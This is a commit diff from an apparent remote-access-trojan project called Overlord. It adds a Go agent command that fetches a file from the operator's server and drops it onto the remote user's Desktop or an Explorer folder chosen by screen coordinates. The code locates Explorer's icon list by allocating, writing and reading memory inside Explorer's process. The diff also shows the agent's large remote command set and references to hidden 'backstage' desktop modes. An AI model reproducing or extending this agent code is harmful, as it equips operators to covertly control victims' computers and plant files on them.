vxaboveground/overlord
1
0
Fork 0
Code Issues Pull Requests Actions 1 Packages Projects Releases Wiki Activity

test

Browse Source
This commit is contained in:
KingKDot
2026-08-03 23:29:16 -05:00
parent 5693409c93
commit f2aae81792
17 changed files with 930 additions and 3 deletions
Download Patch File Download Diff File Expand all files Collapse all files
Overlord-Client/cmd/agent/capture/shell_drop_stub.go
+11
View File
@@ -0,0 +1,11 @@
//go:build !windows
package capture
type ShellDropHit struct {
Directory string
ItemName string
Desktop bool
}
func ResolveShellDropHit(x, y int32) ShellDropHit { return ShellDropHit{} }
Overlord-Client/cmd/agent/capture/shell_drop_windows.go
+183
View File
@@ -0,0 +1,183 @@
//go:build windows
package capture
import (
"net/url"
"os"
"path/filepath"
"runtime"
"strings"
"time"
"unsafe"
)
type ShellDropHit struct {
Directory string
ItemName string
Desktop bool
}
func ResolveShellDropHit(x, y int32) ShellDropHit {
result := make(chan ShellDropHit, 1)
go func() {
runtime.LockOSThread()
defer runtime.UnlockOSThread()
out := ShellDropHit{}
hr, _, _ := procCoInitializeEx.Call(0, COINIT_MULTITHREADED)
if hr != 0 && hr != 1 {
result <- out
return
}
defer procCoUninitialize.Call()
var automation *iuiAutomation
hr, _, _ = procCoCreateInstance.Call(
uintptr(unsafe.Pointer(&CLSID_CUIAutomation)), 0, CLSCTX_INPROC_SERVER,
uintptr(unsafe.Pointer(&IID_IUIAutomation)), uintptr(unsafe.Pointer(&automation)),
)
if hr != S_OK || automation == nil {
result <- out
return
}
defer automation.Release()
walker := automation.GetControlViewWalker()
if walker == nil {
result <- out
return
}
defer walker.Release()
elem := automation.ElementFromPoint(point{x: x, y: y})
if elem == nil {
result <- out
return
}
out.ItemName = strings.TrimSpace(elem.GetCurrentName())
sawCabinet := false
sawShellList := false
for current, depth := elem, 0; current != nil && depth < 32; depth++ {
className := current.GetCurrentClassName()
if className == "CabinetWClass" {
sawCabinet = true
out.Directory = explorerDirectoryFromUIA(walker, current)
}
if className == "SysListView32" || className == "SHELLDLL_DefView" {
sawShellList = true
}
parent := walker.GetParentElement(current)
current.Release()
current = parent
}
if sawCabinet {
out.Desktop = false
} else if sawShellList {
out.Desktop = true
if home, err := os.UserHomeDir(); err == nil {
out.Directory = filepath.Join(home, "Desktop")
}
}
result <- out
}()
select {
case hit := <-result:
return hit
case <-time.After(4 * time.Second):
return ShellDropHit{}
}
}
func explorerDirectoryFromUIA(walker *iuiAutomationTreeWalker, root *iuiAutomationElement) string {
visited := 0
var walk func(*iuiAutomationElement) string
walk = func(parent *iuiAutomationElement) string {
for child := shellDropFirstChild(walker, parent); child != nil && visited < 2500; {
visited++
next := shellDropNextSibling(walker, child)
name := strings.TrimSpace(child.GetCurrentName())
if strings.HasPrefix(strings.ToLower(name), "address:") {
candidate := shellDirectoryCandidate(name)
if candidate == "" {
// Continue into the element; localized or virtual shell paths
// may not be filesystem destinations.
} else {
child.Release()
if next != nil {
next.Release()
}
return candidate
}
}
if pattern := child.GetCurrentPattern(uiaValuePatternID); pattern != nil {
valuePattern := (*iuiAutomationValuePattern)(unsafe.Pointer(pattern))
candidate := shellDirectoryCandidate(valuePattern.GetCurrentValue())
valuePattern.Release()
if candidate != "" {
child.Release()
if next != nil {
next.Release()
}
return candidate
}
}
if candidate := walk(child); candidate != "" {
child.Release()
if next != nil {
next.Release()
}
return candidate
}
child.Release()
child = next
}
return ""
}
return walk(root)
}
func shellDropFirstChild(walker *iuiAutomationTreeWalker, elem *iuiAutomationElement) *iuiAutomationElement {
var child *iuiAutomationElement
hr := callSyscallN(walker.lpVtbl.GetFirstChildElement,
uintptr(unsafe.Pointer(walker)),
uintptr(unsafe.Pointer(elem)),
uintptr(unsafe.Pointer(&child)),
)
if hr != S_OK || child == nil {
return nil
}
return child
}
func shellDropNextSibling(walker *iuiAutomationTreeWalker, elem *iuiAutomationElement) *iuiAutomationElement {
var sibling *iuiAutomationElement
hr := callSyscallN(walker.lpVtbl.GetNextSiblingElement,
uintptr(unsafe.Pointer(walker)),
uintptr(unsafe.Pointer(elem)),
uintptr(unsafe.Pointer(&sibling)),
)
if hr != S_OK || sibling == nil {
return nil
}
return sibling
}
func shellDirectoryCandidate(value string) string {
value = strings.TrimSpace(strings.TrimPrefix(strings.TrimSpace(value), "Address:"))
if strings.HasPrefix(strings.ToLower(value), "file:") {
if parsed, err := url.Parse(value); err == nil {
value = parsed.Path
if len(value) >= 3 && value[0] == '/' && value[2] == ':' {
value = value[1:]
}
value, _ = url.PathUnescape(value)
}
}
if !filepath.IsAbs(value) {
return ""
}
if info, err := os.Stat(value); err == nil && info.IsDir() {
return filepath.Clean(value)
}
return ""
}
Overlord-Client/cmd/agent/handlers/command.go
+14
View File
@@ -2689,6 +2689,20 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
sourceURL, _ := payload["url"].(string)
total := payloadNumberToInt64(payload["total"])
return HandleFileUploadHTTP(ctx, env, cmdID, path, sourceURL, total)
case "file_upload_desktop":
payload, _ := envelope["payload"].(map[string]interface{})
fileName, _ := payload["fileName"].(string)
sourceURL, _ := payload["url"].(string)
total := payloadNumberToInt64(payload["total"])
_, hasX := payload["x"]
_, hasY := payload["y"]
x := int32(payloadNumberToInt64(payload["x"]))
y := int32(payloadNumberToInt64(payload["y"]))
display := env.SelectedDisplay
if _, ok := payload["display"]; ok {
display = int(payloadNumberToInt64(payload["display"]))
}
return HandleFileUploadDesktop(ctx, env, cmdID, fileName, sourceURL, total, display, x, y, hasX && hasY)
case "file_delete":
path, _ := envelopePayloadString(envelope, "path")
return HandleFileDelete(ctx, env, cmdID, path)
Overlord-Client/cmd/agent/handlers/desktop_drop_stub.go
+5
View File
@@ -0,0 +1,5 @@
//go:build !windows
package handlers
func positionDesktopUpload(fileName string, x, y int32) {}
Overlord-Client/cmd/agent/handlers/desktop_drop_windows.go
+142
View File
@@ -0,0 +1,142 @@
//go:build windows
package handlers
import (
"path/filepath"
"strings"
"syscall"
"time"
"unsafe"
"golang.org/x/sys/windows"
)
var (
ddUser32 = windows.NewLazySystemDLL("user32.dll")
ddKernel32 = windows.NewLazySystemDLL("kernel32.dll")
ddFindWindowW = ddUser32.NewProc("FindWindowW")
ddFindWindowExW = ddUser32.NewProc("FindWindowExW")
ddSendMessageW = ddUser32.NewProc("SendMessageW")
ddScreenToClient = ddUser32.NewProc("ScreenToClient")
ddGetWindowThreadProcessID = ddUser32.NewProc("GetWindowThreadProcessId")
ddOpenProcess = ddKernel32.NewProc("OpenProcess")
ddVirtualAllocEx = ddKernel32.NewProc("VirtualAllocEx")
ddVirtualFreeEx = ddKernel32.NewProc("VirtualFreeEx")
ddWriteProcessMemory = ddKernel32.NewProc("WriteProcessMemory")
ddReadProcessMemory = ddKernel32.NewProc("ReadProcessMemory")
)
const (
ddProcessVMOperation = 0x0008
ddProcessVMRead = 0x0010
ddProcessVMWrite = 0x0020
ddProcessQueryInfo = 0x0400
ddMemCommit = 0x1000
ddMemReserve = 0x2000
ddMemRelease = 0x8000
ddPageReadWrite = 0x04
ddLVMGetItemCount = 0x1004
ddLVMSetItemPosition = 0x100f
ddLVMGetItemTextW = 0x1073
)
type desktopDropPoint struct{ X, Y int32 }
type desktopDropLVItem struct {
Mask uint32
IItem int32
ISubItem int32
State uint32
StateMask uint32
PszText uintptr
CchTextMax int32
IImage int32
LParam uintptr
}
func positionDesktopUpload(fileName string, x, y int32) {
listView := desktopListView()
if listView == 0 {
return
}
point := desktopDropPoint{X: x, Y: y}
ddScreenToClient.Call(listView, uintptr(unsafe.Pointer(&point)))
// Explorer may need a moment to observe the newly created file.
for attempt := 0; attempt < 20; attempt++ {
if index := desktopListViewItemIndex(listView, fileName); index >= 0 {
packed := uintptr(uint32(uint16(point.X)) | uint32(uint16(point.Y))<<16)
ddSendMessageW.Call(listView, ddLVMSetItemPosition, uintptr(index), packed)
return
}
time.Sleep(100 * time.Millisecond)
}
}
func desktopListView() uintptr {
progman, _, _ := ddFindWindowW.Call(uintptr(unsafe.Pointer(mustUTF16Ptr("Progman"))), 0)
if view := findShellDefView(progman); view != 0 {
list, _, _ := ddFindWindowExW.Call(view, 0, uintptr(unsafe.Pointer(mustUTF16Ptr("SysListView32"))), 0)
return list
}
var after uintptr
for {
worker, _, _ := ddFindWindowExW.Call(0, after, uintptr(unsafe.Pointer(mustUTF16Ptr("WorkerW"))), 0)
if worker == 0 {
return 0
}
if view := findShellDefView(worker); view != 0 {
list, _, _ := ddFindWindowExW.Call(view, 0, uintptr(unsafe.Pointer(mustUTF16Ptr("SysListView32"))), 0)
return list
}
after = worker
}
}
func findShellDefView(parent uintptr) uintptr {
if parent == 0 {
return 0
}
view, _, _ := ddFindWindowExW.Call(parent, 0, uintptr(unsafe.Pointer(mustUTF16Ptr("SHELLDLL_DefView"))), 0)
return view
}
func desktopListViewItemIndex(listView uintptr, fileName string) int32 {
var pid uint32
ddGetWindowThreadProcessID.Call(listView, uintptr(unsafe.Pointer(&pid)))
process, _, _ := ddOpenProcess.Call(ddProcessVMOperation|ddProcessVMRead|ddProcessVMWrite|ddProcessQueryInfo, 0, uintptr(pid))
if process == 0 {
return -1
}
defer windows.CloseHandle(windows.Handle(process))
const textChars = 520
itemSize := unsafe.Sizeof(desktopDropLVItem{})
remote, _, _ := ddVirtualAllocEx.Call(process, 0, itemSize+textChars*2, ddMemCommit|ddMemReserve, ddPageReadWrite)
if remote == 0 {
return -1
}
defer ddVirtualFreeEx.Call(process, remote, 0, ddMemRelease)
item := desktopDropLVItem{ISubItem: 0, PszText: remote + itemSize, CchTextMax: textChars}
ddWriteProcessMemory.Call(process, remote, uintptr(unsafe.Pointer(&item)), itemSize, 0)
count, _, _ := ddSendMessageW.Call(listView, ddLVMGetItemCount, 0, 0)
want := strings.EqualFold
stem := strings.TrimSuffix(fileName, filepath.Ext(fileName))
buf := make([]uint16, textChars)
for index := int32(0); index < int32(count); index++ {
ddSendMessageW.Call(listView, ddLVMGetItemTextW, uintptr(index), remote)
ddReadProcessMemory.Call(process, remote+itemSize, uintptr(unsafe.Pointer(&buf[0])), textChars*2, 0)
name := syscall.UTF16ToString(buf)
if want(name, fileName) || (stem != "" && want(name, stem)) {
return index
}
}
return -1
}
func mustUTF16Ptr(value string) *uint16 {
pointer, _ := windows.UTF16PtrFromString(value)
return pointer
}
Overlord-Client/cmd/agent/handlers/files.go
+84
View File
@@ -26,6 +26,7 @@ import (
"time"
"unicode/utf8"
"overlord-client/cmd/agent/capture"
agentRuntime "overlord-client/cmd/agent/runtime"
agentTLS "overlord-client/cmd/agent/tlsconfig"
"overlord-client/cmd/agent/wire"
@@ -948,6 +949,89 @@ func HandleFileUploadHTTP(ctx context.Context, env *agentRuntime.Env, cmdID stri
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
}
func desktopUploadPath(fileName string) (string, error) {
fileName = strings.TrimSpace(fileName)
if fileName == "" || fileName == "." || fileName == ".." || filepath.Base(fileName) != fileName || strings.ContainsAny(fileName, `/\\`) {
return "", errors.New("invalid desktop upload filename")
}
if strings.IndexFunc(fileName, func(r rune) bool { return r < 0x20 || r == 0x7f }) >= 0 {
return "", errors.New("invalid desktop upload filename")
}
homeDir, err := os.UserHomeDir()
if err != nil || strings.TrimSpace(homeDir) == "" {
return "", errors.New("unable to resolve the current user's home directory")
}
return filepath.Join(homeDir, "Desktop", fileName), nil
}
func desktopUploadTarget(fileName string, display int, x, y int32, hasDropPoint bool) (string, bool, int32, int32, error) {
destPath, err := desktopUploadPath(fileName)
if err != nil {
return "", false, 0, 0, err
}
if !hasDropPoint {
return destPath, false, 0, 0, nil
}
absX, absY := resolveDesktopPoint(display, x, y)
hit := capture.ResolveShellDropHit(absX, absY)
resolved, placeOnDesktop := desktopUploadTargetFromHit(destPath, fileName, hit)
return resolved, placeOnDesktop, absX, absY, nil
}
func desktopUploadTargetFromHit(destPath, fileName string, hit capture.ShellDropHit) (string, bool) {
directory := strings.TrimSpace(hit.Directory)
if directory == "" {
return destPath, hit.Desktop
}
if hit.ItemName != "" {
hovered := filepath.Join(directory, hit.ItemName)
if info, statErr := os.Stat(hovered); statErr == nil && info.IsDir() {
directory = hovered
}
}
return filepath.Join(directory, fileName), hit.Desktop && directory == filepath.Dir(destPath)
}
func HandleFileUploadDesktop(ctx context.Context, env *agentRuntime.Env, cmdID string, fileName string, sourceURL string, expectedSize int64, display int, x, y int32, hasDropPoint bool) error {
if remoteDesktopDropBlocked(env) {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
Type: "command_result",
CommandID: cmdID,
OK: false,
Message: "remote desktop file drop is unavailable while backstage mode is active",
})
}
destPath, placeOnDesktop, absX, absY, err := desktopUploadTarget(fileName, display, x, y, hasDropPoint)
if err != nil {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
}
before, _ := os.Stat(destPath)
resultErr := HandleFileUploadHTTP(ctx, env, cmdID, destPath, sourceURL, expectedSize)
if placeOnDesktop {
after, statErr := os.Stat(destPath)
if statErr == nil && (before == nil || after.ModTime() != before.ModTime() || after.Size() != before.Size()) {
positionDesktopUpload(fileName, absX, absY)
}
}
return resultErr
}
func remoteDesktopDropBlocked(env *agentRuntime.Env) bool {
if env == nil {
return false
}
env.BackstageMu.Lock()
backstageActive := env.BackstageCancel != nil
env.BackstageMu.Unlock()
if backstageActive {
return true
}
env.VirtualMu.Lock()
virtualBackstageActive := env.VirtualCancel != nil
env.VirtualMu.Unlock()
return virtualBackstageActive
}
func sleepBackoff(ctx context.Context, d time.Duration) {
t := time.NewTimer(d)
defer t.Stop()
Overlord-Client/cmd/agent/handlers/files_test.go
+83
View File
@@ -11,6 +11,7 @@ import (
"strings"
"testing"
"overlord-client/cmd/agent/capture"
"overlord-client/cmd/agent/config"
rt "overlord-client/cmd/agent/runtime"
"overlord-client/cmd/agent/wire"
@@ -523,6 +524,88 @@ func TestHandleFileUploadHTTP(t *testing.T) {
}
}
func TestDesktopUploadPath(t *testing.T) {
homeDir, err := os.UserHomeDir()
if err != nil {
t.Fatalf("resolve home directory: %v", err)
}
got, err := desktopUploadPath("report.pdf")
if err != nil {
t.Fatalf("desktopUploadPath failed: %v", err)
}
want := filepath.Join(homeDir, "Desktop", "report.pdf")
if got != want {
t.Fatalf("desktop upload path = %q, want %q", got, want)
}
for _, invalid := range []string{"", ".", "..", "../report.pdf", `folder\\report.pdf`, "bad\x00name"} {
if _, err := desktopUploadPath(invalid); err == nil {
t.Fatalf("desktopUploadPath(%q) should fail", invalid)
}
}
}
func TestDesktopUploadTargetFromHitUsesHoveredFolder(t *testing.T) {
base := t.TempDir()
hovered := filepath.Join(base, "Reports")
if err := os.Mkdir(hovered, 0o755); err != nil {
t.Fatal(err)
}
fallback := filepath.Join(base, "Desktop", "report.pdf")
got, place := desktopUploadTargetFromHit(fallback, "report.pdf", capture.ShellDropHit{
Directory: base,
ItemName: "Reports",
})
if got != filepath.Join(hovered, "report.pdf") || place {
t.Fatalf("desktopUploadTargetFromHit() = %q, %v", got, place)
}
}
func TestDesktopUploadTargetFromHitPositionsDesktopBackground(t *testing.T) {
desktop := t.TempDir()
fallback := filepath.Join(desktop, "report.pdf")
got, place := desktopUploadTargetFromHit(fallback, "report.pdf", capture.ShellDropHit{
Directory: desktop,
Desktop: true,
})
if got != fallback || !place {
t.Fatalf("desktopUploadTargetFromHit() = %q, %v", got, place)
}
}
func TestHandleFileUploadDesktopRejectsBackstageModes(t *testing.T) {
for _, test := range []struct {
name string
activate func(*rt.Env)
}{
{name: "hidden desktop", activate: func(env *rt.Env) {
_, env.BackstageCancel = context.WithCancel(context.Background())
}},
{name: "virtual backstage", activate: func(env *rt.Env) {
_, env.VirtualCancel = context.WithCancel(context.Background())
}},
} {
t.Run(test.name, func(t *testing.T) {
writer := &testWriter{}
env := &rt.Env{Conn: writer}
test.activate(env)
if err := HandleFileUploadDesktop(context.Background(), env, "blocked-drop", "report.pdf", "/unused", 10, 0, 10, 10, true); err != nil {
t.Fatalf("HandleFileUploadDesktop failed: %v", err)
}
if len(writer.msgs) != 1 {
t.Fatalf("expected one rejection result, got %d", len(writer.msgs))
}
var result wire.CommandResult
if err := msgpack.Unmarshal(writer.msgs[0], &result); err != nil {
t.Fatal(err)
}
if result.OK || !strings.Contains(result.Message, "backstage mode") {
t.Fatalf("unexpected result: %+v", result)
}
})
}
}
func TestHandleFileUploadHTTP_RewritesUploadPullURLToAgentServer(t *testing.T) {
data := []byte("wan-origin-upload-payload")
var gotHost string
Overlord-Client/cmd/agent/wire/wire_contract_generated.go
+3
View File
@@ -151,6 +151,7 @@ const (
CommandFileSearch CommandType = "file_search"
CommandFileThumb CommandType = "file_thumb"
CommandFileUpload CommandType = "file_upload"
CommandFileUploadDesktop CommandType = "file_upload_desktop"
CommandFileUploadHttp CommandType = "file_upload_http"
CommandFileWrite CommandType = "file_write"
CommandFileZip CommandType = "file_zip"
@@ -361,6 +362,7 @@ var CommandTypes = [...]CommandType{
CommandFileSearch,
CommandFileThumb,
CommandFileUpload,
CommandFileUploadDesktop,
CommandFileUploadHttp,
CommandFileWrite,
CommandFileZip,
@@ -511,6 +513,7 @@ var CommandVersionSupport = map[CommandType]CommandVersionRange{
CommandFileSearch: {Min: 1, Max: 1},
CommandFileThumb: {Min: 1, Max: 1},
CommandFileUpload: {Min: 1, Max: 1},
CommandFileUploadDesktop: {Min: 1, Max: 1},
CommandFileUploadHttp: {Min: 1, Max: 1},
CommandFileWrite: {Min: 1, Max: 1},
CommandFileZip: {Min: 1, Max: 1},
Overlord-Client/cmd/agent/wire/wire_contract_test.go
+4 -1
View File
@@ -6,7 +6,7 @@ func TestGeneratedWireContract(t *testing.T) {
if WireProtocolVersion != 1 {
t.Fatalf("unexpected wire protocol version: %d", WireProtocolVersion)
}
if len(CommandTypes) != 142 {
if len(CommandTypes) != 143 {
t.Fatalf("unexpected command count: %d", len(CommandTypes))
}
if len(CommandVersionSupport) != len(CommandTypes) {
@@ -33,6 +33,9 @@ func TestGeneratedWireContract(t *testing.T) {
if !IsCommandType("virtual_window_list") {
t.Fatal("virtual_window_list must be a known command")
}
if !IsCommandType("file_upload_desktop") {
t.Fatal("file_upload_desktop must be a known command")
}
if IsCommandType("not_a_command") {
t.Fatal("unknown command was accepted")
}